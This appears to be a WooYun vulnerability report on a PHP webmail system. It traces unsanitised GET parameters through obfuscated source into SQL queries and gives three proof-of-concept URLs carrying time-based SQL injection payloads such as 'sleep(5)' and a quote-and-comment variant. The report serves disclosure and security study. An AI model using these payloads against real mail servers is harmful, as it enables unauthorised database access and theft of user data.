WooYun.org

if ( ACTION == "mail-compose" )
{
    $draft_mail = gss( $_GET['draft'] );
    $forward_mail = gss( $_GET['forward'] );
    $reply_mail = gss( $_GET['reply'] );
    $mailbox = gss( $_GET['mailbox'] );
    $write_again = gss( $_GET['write_again'] );
    $is_sendfile = gss( $_GET['sendfile'] );
    $is_share = gss( $_GET['share'] );
    ....
    if ( $is_share || $is_sendfile )
    {
        include_once( LIB_PATH."Netdisk.php" );
        $Netdisk = Netdisk::getinstance( );
        $folder_list = trim( $_GET['folderlist'] ); //未过滤1
        $file_list = trim( $_GET['filelist'] );//未过滤2:见wooyun-2014-076147
        $file_all = array( );
        ...
        if ( $folder_list )
        {
            $Netdisk->initTreeObject( $user_id, 0 );
            $folder_list = explode( ",", $folder_list );
            foreach ( $folder_list as $folder_id ) //拆分
            {
             $file_arr = $Netdisk->getAllFileByFolderID( $user_id, $folder_id, "file_id,file_name,file_size,folder_id", 0 );//跟进getAllFileByFolderID
             $file_all = array_merge( $file_all, $file_arr );
            }
        }
	public function getAllFileByFolderID( $_obfuscate_nQNptTJPg, $_obfuscate_zssh37DIFOEb, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
    {
        $_obfuscate_SD_daSU6LK1F2A = $this->Tree->get_child_id( $_obfuscate_zssh37DIFOEb );//跟进get_child_id，无影响，可视为直接return
        $_obfuscate_IRFhnYw = "user_id='".$_obfuscate_nQNptTJPg."' AND folder_id IN (".$_obfuscate_SD_daSU6LK1F2A.")";//进入sql语句
        $_obfuscate_6RYLWQ = $this->get_file( array( "fields" => $_obfuscate_tjILu7ZH, "where" => $_obfuscate_IRFhnYw, "orderby" => "file_name", "debug" => $_obfuscate_ySeUHBw ) );
        return $_obfuscate_6RYLWQ;
    }	
		
    public function get_child_id( $_obfuscate_qPyPrVFCFw "-1" )
    {
        if ( isset( $this->data_cache[$_obfuscate_qPyPrVFCFw) ) //$_obfuscate_qPyPrVFCFw可控，可以不进入if
        {
            foreach ( $this->data_cache[$_obfuscate_qPyPrVFCFw] as $_obfuscate_kAoKz_kijKk => $_obfuscate_6RYLWQ)
            {
                $_obfuscate_qPyPrVFCFw= ",".$this->get_child_id( $_obfuscate_kAoKz_kijKk);
            }
        }
        return $_obfuscate_qPyPrVFCFw;//直接返回
    }

http://mail.domain.com:8080/webmail/client/mail/index.php?module=view&action=mail-compose&share=1&folderlist=sleep(5)

if ( ACTION == "mail-compose" )
    {
        $draft_mail = gss( $_GET['draft'] );
        $forward_mail = gss( $_GET['forward'] );
        $reply_mail = gss( $_GET['reply'] );
        $mailbox = gss( $_GET['mailbox'] );
        $write_again = gss( $_GET['write_again'] );
        $is_sendfile = gss( $_GET['sendfile'] );
        $is_share = gss( $_GET['share'] );
        $to_addr = stripslashes( gss( $_GET['toaddr'] ) );
        $to_list = stripslashes( gss( $_GET['tolist'] ) );//有stripslashes可以引入单引号，不受GPC影响
        $to_pab = gss( $_GET['topab'] );
        $to_oab = gss( $_GET['tooab'] );
        $to_cab = gss( $_GET['tocab'] );
        $to_share = gss( $_GET['domain_id'] );
        $op = gss( $_GET['op'] );
        $domain_name = get_session( "domain_name" );
        $user_prefs = $Mailbox->getPrefsByUserID( $user_id, "*", 0 );
        $to = "";
        if ( $to_addr )
        {
            $to_arr = explode( ",", $to_addr );
            foreach ( $to_arr as $item )
            {
                $to .= $item.";";
            }
        }
        if ( $to_list )
        {
            $to_arr = explode( ",", $to_list );//拆分
            foreach ( $to_arr as $mailbox_id )
            {
             $userinfo = $Mailbox->getMailboxByID( $domain_id, $mailbox_id, "Mailbox,FullName", 0 );//跟进getMailboxByID
             $to .= "\"".$userinfo['FullName']."\" <".$userinfo['Mailbox']."@".$domain_name.">;";
            }
        }
		
	public function getMailboxByID( $_obfuscate_AkPSczrCIu40, $_obfuscate_sR_QfZUaLVs, $_obfuscate_tjILu7ZH = "*", $_obfuscate_ySeUHBw = FALSE )
    {
        $_obfuscate_IRFhnYw = "DomainID='".$_obfuscate_AkPSczrCIu40."' AND UserID='".$_obfuscate_sR_QfZUaLVs."'";//第二个参数进入sql语句
        $_obfuscate_6RYLWQ = $this->getone_mailbox( $_obfuscate_IRFhnYw, $_obfuscate_tjILu7ZH, $_obfuscate_ySeUHBw );
        return $_obfuscate_6RYLWQ;
    }

http://mail.domain.com:8080/webmail/client/mail/index.php?module=view&action=mail-compose&tolist=1' and sleep(5)%23

if ( ACTION == "contact-detail" )
{
    $member_id = gss( $_GET['id'] );//传入，没有过滤
    $mailbox = $Mailbox->getMailboxByID( $domain_id, $member_id, "UserID,DomainID,Mailbox,FullName,EnglishName", 0 );
    $info = $mailbox['UserID']( $mailbox['UserID'], "*", 0 );
    $userinfo = array( );
    $userinfo['fullname'] = $mailbox['FullName'];
    $userinfo['englishname'] = $mailbox['EnglishName'];
    $userinfo['mailbox'] = $mailbox['Mailbox'];
    $userinfo['email'] = $mailbox['Mailbox']."@".$domain_name;
    $userinfo['sex'] = $info['sex'];
    $userinfo['birthday'] = $info['birthday'];
    $userinfo['mobile'] = $info['mobil'];
    $userinfo['tel'] = $info['teleextension'];
    $userinfo['extnum'] = $info['extnum'];
    $userinfo['worknum'] = $info['worknum'];
    $userinfo['memo'] = $info['memo'];
    $userinfo['position'] = $info['headship'];
    $userinfo['group_num'] = $info['o_group'];
    $userinfo['im'] = $info['qqmsn'];
    unset( $mailbox );
    unset( $info );
    $arr_tmp = $Department->getDepartmentIDByMailboxID( $member_id, 0 );//跟进getDepartmentIDByMailboxID
    $dept_list = $Department->getDepartmentByMailboxID( $member_id, "dept_id,name", 0 );
    include( load_tpl( "oab_contact_detail" ) );
}
    public function getDepartmentIDByMailboxID( $_obfuscate_lElOUq0K, $_obfuscate_ySeUHBw = FALSE )
    {
        $_obfuscate_IRFhnYw = "user_id IN (".$_obfuscate_lElOUq0K.")";//第一个参数直接进入sql
        $_obfuscate_igIf6o4CjQ = $this->get_map( array( "fields" => "*", "where" => $_obfuscate_IRFhnYw, "orderby" => "dept_id", "debug" => $_obfuscate_ySeUHBw ) );
        $_obfuscate_zLN8L_tQlCQ = get_array( $_obfuscate_igIf6o4CjQ, "dept_id", "string" );
        return $_obfuscate_zLN8L_tQlCQ;
    }

http://mail.domain.com:8080/webmail/client/oab/index.php?module=view&action=contact-detail&id=sleep(5)